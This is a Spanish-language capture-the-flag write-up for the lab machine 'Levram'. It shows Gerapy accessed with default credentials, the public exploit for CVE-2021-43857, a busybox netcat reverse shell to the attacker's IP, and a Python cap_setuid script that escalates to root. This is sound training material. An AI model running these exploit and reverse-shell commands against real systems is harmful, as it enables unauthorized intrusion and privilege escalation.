the_open_door
café
ESEN

Levram

Proving Grounds PracticeFácilLinux192.168.205.24

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#gerapy#cve-2021-43857#default-credentials#authenticated-rce#linux-capabilities#cap-setuid#python#oscp
TL;DR. Levram corre Gerapy v0.9.7 en el 8000. Entramos con credenciales por defecto (admin/admin) y lanzamos la RCE autenticada CVE-2021-43857, cayendo como app. El binario /usr/bin/python3.10 tiene la capability cap_setuid=ep, así que un os.setuid(0) seguido de una shell nos convierte en root (abuso de cap_setuid).

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Solo dos puertos:

ping -c 1 192.168.205.24
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.205.24
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http
nmap -p22,8000 -sCV 192.168.205.24 -oN targetedScan
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    WSGIServer 0.2 (Python 3.10.6)
|_http-title: Gerapy

Gerapy - TCP 8000

El 8000 sirve Gerapy, un panel web para gestionar arañas de scraping Scrapy. Acepta las credenciales por defecto admin/admin:

Panel de Gerapy accesible con credenciales por defecto admin/admin

Ya dentro, el dashboard (/#/home) no muestra ningún cliente, pero lo que interesa está en el pie de página: Copyright © 2026 Gerapy v0.9.7. Esa línea es la que fija la versión exacta y, con ella, la búsqueda de vulnerabilidades:

Dashboard de Gerapy en /#/home con el pie de página mostrando Gerapy v0.9.7

CLIENT   0 Normal Clients
CLIENT   0 Error Clients

Copyright © 2026 Gerapy v0.9.7 All Rights Reserved.

searchsploit confirma la RCE autenticada de esa versión:

searchsploit gerapy
Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated) | python/remote/50640.py   (CVE-2021-43857)

Explotación

CVE-2021-43857: RCE autenticada

Gerapy permite crear y ejecutar proyectos; la CVE-2021-43857 abusa de esa funcionalidad para ejecutar comandos arbitrarios con sesión válida. Hay un detalle que condiciona todo: el exploit no crea el proyecto, lo busca, así que si la instalación está vacía no encuentra nada contra lo que disparar. Por eso el primer paso es crear uno desde la propia interfaz (Projects → create), con un nombre cualquiera, aquí test:

Diálogo Create de Gerapy: pestaña Projects, botón create, campo Name con el valor test y el botón create

PROJECT        + create
Create | Upload | Clone
Name: test
This will create a configurable project
[cancel] [create]

Con el proyecto ya existente, copiamos el exploit a nuestro directorio con searchsploit -m y lo renombramos a algo manejable. El 50640.py inicia sesión con admin/admin, localiza el proyecto y lanza una reverse shell:

searchsploit -m python/remote/50640.py
mv 50640.py exp.py
python3 exp.py -t 192.168.205.24 -p 8000 -L 192.168.45.232 -P 22

exp.py imprime su banner de CVE-2021-43857, inicia sesion, encuentra el proyecto test con ID 3, levanta el listener del 22 y recibe la shell como app

Exploit for CVE-2021-43857
For: Gerapy < 0.9.8
[*] Resolving URL ...
[*] Logging in to application ...
[*] Login successful! Proceeding ...
[*] Getting the project list
[*] Found project: test
[*] Getting the ID of the project to build the URL
[*] Found ID of the project:  3
[*] Setting up a netcat listener
listening on [any] 22 ...
[*] Executing reverse shell payload
[*] Watchout for shell! :)
connect to [192.168.45.232] from (UNKNOWN) [192.168.205.24] 32900
bash: cannot set terminal process group (846): Inappropriate ioctl for device
bash: no job control in this shell
app@ubuntu:~/gerapy$

El exploit hace todo el trabajo, incluido levantar su propio listener con el -P 22, y el Found ID of the project: 3 confirma que localizó el test que acabamos de crear. Pero la shell que entrega no sirve para trabajar: las dos líneas de bash dicen que no hay terminal de control, así que ni Ctrl+C ni su ni historial.

Antes de disparar la shell, dejamos Penelope a la escucha en el puerto 80 (el exploit abre su propio nc en el 22 para el primer contacto):

penelope
(Penelope)> listeners add -p 80

El primer callback llega a la escucha del exploit en el 22, pero es una shell no interactiva (bash: no job control in this shell); la estabilizamos reconectando con busybox nc al 80, donde espera Penelope:

busybox nc 192.168.45.232 80 -e bash

El exploit de Gerapy devuelve una reverse shell no interactiva y, tras el busybox nc, Penelope recibe la sesión como el usuario app

Exploit for CVE-2021-43857
For: Gerapy < 0.9.8
[*] Login successful! Proceeding ...
[*] Getting the project list
[*] Found project: test
[*] Found ID of the project:  3
[*] Setting up a netcat listener
listening on [any] 22 ...
[*] Executing reverse shell payload
[*] Watchout for shell! :)
connect to [192.168.45.232] from (UNKNOWN) [192.168.205.24] 32900
bash: cannot set terminal process group (846): Inappropriate ioctl for device
bash: no job control in this shell
app@ubuntu:~/gerapy$ busybox nc 192.168.45.232 80 -e bash

(Penelope)> listeners add -p 80
[+] Got reverse shell from ubuntu~192.168.205.24-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
app@ubuntu:~/gerapy$ whoami
app

La shell estabilizada por Penelope corre como app.

Local

cat local.txt && ip a && hostname && whoami

local.txt leída como app en levram

d6bcaef8860a9945aad418621ee3dbd5
app

Escalada de privilegios

Capability cap_setuid en python3.10

Enumeramos las capabilities del sistema con getcap. Las capabilities son porciones de los privilegios de root asignables a un binario concreto; getcap destaca que /usr/bin/python3.10 lleva cap_setuid=ep:

getcap -r / 2>/dev/null
/usr/bin/python3.10 cap_setuid=ep

cap_setuid permite al binario cambiar su UID a cualquier valor sin ser root, es decir, llamar a setuid(0) con éxito (abuso de cap_setuid). Un script mínimo que fije el UID a 0 y lance una shell nos da root:

# privesc.py
import os
os.setuid(0)
os.system("/bin/bash")
/usr/bin/python3.10 privesc.py

python3.10 con cap_setuid ejecuta os.setuid(0) y whoami devuelve root

app@ubuntu:~$ getcap -r / 2>/dev/null
/usr/bin/python3.10 cap_setuid=ep
...
app@ubuntu:~$ /usr/bin/python3.10 privesc.py
root@ubuntu:~# whoami
root

getcap confirma que /usr/bin/python3.10 tiene cap_setuid=ep: con esa capability, os.setuid(0) cambia el UID a 0 sin ser SUID, y el bash resultante es de root.

Root

cat /root/proof.txt && whoami && ip a && hostname

proof.txt leída como root en levram

2291cccf65790ed3a12e48bf2ed95e5a
root

Cadena de ataque

HTTP (8000)  --  Gerapy v0.9.7
        │  credenciales por defecto admin/admin
        │  CVE-2021-43857: RCE autenticada -> reverse shell
        ▼
app  (local.txt)
        │  cap_setuid=ep en /usr/bin/python3.10 -> os.setuid(0)
        ▼
root  (proof.txt)

Lecciones aprendidas

  • Default credentials + RCE autenticada = acceso completo. admin/admin abrió Gerapy y su versión arrastraba la CVE-2021-43857. La contraseña de fábrica convirtió una RCE "autenticada" en trivial.
  • getcap es obligatorio en la enumeración Linux. Una capability mal asignada no aparece en sudo -l ni en los SUID clásicos; solo getcap -r / la revela. Es un vector que muchos pasan por alto.
  • cap_setuid en un intérprete es root directo. Dar esa capability a Python (o a Perl, Ruby...) equivale a regalar el SUID de root: el binario puede llamar a setuid(0) a voluntad. Las capabilities deben limitarse a binarios que realmente las necesiten y no a intérpretes de propósito general.
Cheatsheet de comandos 7 comandos

Repaso rápido